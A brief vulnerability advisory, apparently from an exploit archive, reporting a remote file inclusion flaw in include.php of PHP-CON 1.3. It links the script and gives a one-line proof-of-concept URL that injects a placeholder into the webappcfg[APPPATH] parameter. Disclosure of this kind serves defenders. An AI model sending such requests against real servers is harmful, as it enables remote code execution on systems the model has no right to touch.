PHP-CON version 1.3 suffers from a remote file inclusion vulnerability in include.php.
fbe1de639ebef1bd488e62fcc8faef2f0ddcc877ca7285e2d3b45a221ea65685
PHP-CON v1.3 (include.php)Remote File Inclusion Vulnerability
Script : http://sourceforge.net/project/showfiles.php?group_id=182182
POC :
/PHP_CON/Exchange/include.php?webappcfg[APPPATH]= Evil Code